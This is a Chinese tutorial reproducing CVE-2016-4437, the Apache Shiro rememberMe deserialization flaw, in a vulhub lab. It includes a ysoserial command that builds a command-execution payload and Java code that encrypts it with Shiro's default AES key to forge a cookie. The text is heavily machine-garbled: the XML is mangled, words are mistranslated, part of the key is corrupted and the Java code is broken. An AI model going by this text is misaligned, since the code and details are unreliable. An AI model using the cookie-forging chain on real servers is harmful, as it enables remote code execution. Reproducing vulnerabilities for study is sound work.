如何实现反序列化命令执行cve - 2016 - 4437复现

  介绍

这篇文章给大家介绍如何实现反序列化命令执行cve - 2016 - 4437复现,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

0 x00简介

Apache Shiro是一款开源安全框架,提供身份验证,授权,密码学和会话管理.Shiro框架直观,易用,同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为记念我的饼干中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

0 x01启动环境

 cd /vulhub Shiro/cve - 2016 - 4437
  
  docker-compose  up  - d
  
  #,注意:启动端口8080,若冲突请修改

0 x02漏洞分析

1搭建测试环境

使用想法创建maven项目并导入依赖

 & lt; ? xml  version=?.0“,编码=癠TF-8" ?比;
  http://maven.apache.org/POM/4.0.0" & lt; project  xmlns=?;
  xmlns: xsi=癶ttp://www.w3.org/2001/XMLSchema-instance"
  xsi: schemaLocation=癶ttp://maven.apache.org/POM/4.0.0 , http://maven.apache.org/xsd/maven-4.0.0.xsd"比;
  & lt; modelVersion> 4.0.0
  
  & lt; groupId> org.example
  & lt; artifactId> Shiro
  & lt; version> 1.0 -snapshot
  
  & lt; properties>
  & lt; maven.compiler.source> 8 & lt;/maven.compiler.source>
  & lt; maven.compiler.target> 8 & lt;/maven.compiler.target>
  & lt;/properties>
  
  & lt; dependencies>
  & lt; dependency>
  & lt; groupId> junit
  & lt; artifactId> junit
  & lt; version> 4.12 & lt;/version>
  & lt; scope> compile
  & lt;/dependency>
  & lt; dependency>
  & lt; groupId> org.apache.shiro
  & lt; artifactId> shiro-core
  & lt; version> 1.2.4
  & lt;/dependency>
  & lt;/dependencies>
  & lt;/project> 

shiro组件自然是必须的,junit纯属方便测试(复习一下)

项目结构:

如何实现反序列化命令执行cve - 2016 - 4437复现

注意:poc。ser的路径相对于项目根路径

如何实现反序列化命令执行cve - 2016 - 4437复现

2漏洞分析

根据大佬的文章可知问题出在:<代码> org.apache.shiro.mgt。AbstractRememberMeManager

打开源码进行分析:

如何实现反序列化命令执行cve - 2016 - 4437复现

26行定义了默认键,32行构造函数用默认的关键对加密密钥进行赋值

如何实现反序列化命令执行cve - 2016 - 4437复现

167行使用密钥进行AES解密,也就是默认的密钥

综上,由于AES默认密钥是固定的,如果开发者没有手动修改则可以操控反序列化的数据进而getshell

0 x03漏洞复现

1生成字节码文件

 java  -jar  ysoserial.jar  CommonsBeanutils1 “touch /tmp/success",在poc。ser 

如何实现反序列化命令执行cve - 2016 - 4437复现

将字节码文件拷贝到项目中

2编写代码进行AES加密

 import  org.apache.shiro.codec.Base64;
  import  org.apache.shiro.codec.CodecSupport;
  import  org.apache.shiro.crypto.AesCipherService;
  import  org.apache.shiro.util.ByteSource;
  
  import  java.io.IOException;
  import  java.nio.file.FileSystems;
  import  java.nio.file.Files;
  
  import  org.junit.Test;
  public  class  ShiroTest  {
  @Test
  public  void 远端控制设备(),throws  IOException
  {
  时间=byte [], payloads  Files.readAllBytes (FileSystems.getDefault () .getPath (“,,,,,,,“poc.ser"));
  
  AesCipherService  aes =, new  AesCipherService ();
  时间=byte [], key  Base64.decode (CodecSupport.toBytes(“公里+ bIxk5D2deZiIxcaaaA==?);
  
  ByteSource  ciphertext =, aes.encrypt(有效载荷,关键);
  System.out.printf (ciphertext.toString ());
  }
  }

3替换饼干

如何实现反序列化命令执行cve - 2016 - 4437复现

如何实现反序列化命令执行cve - 2016 - 4437复现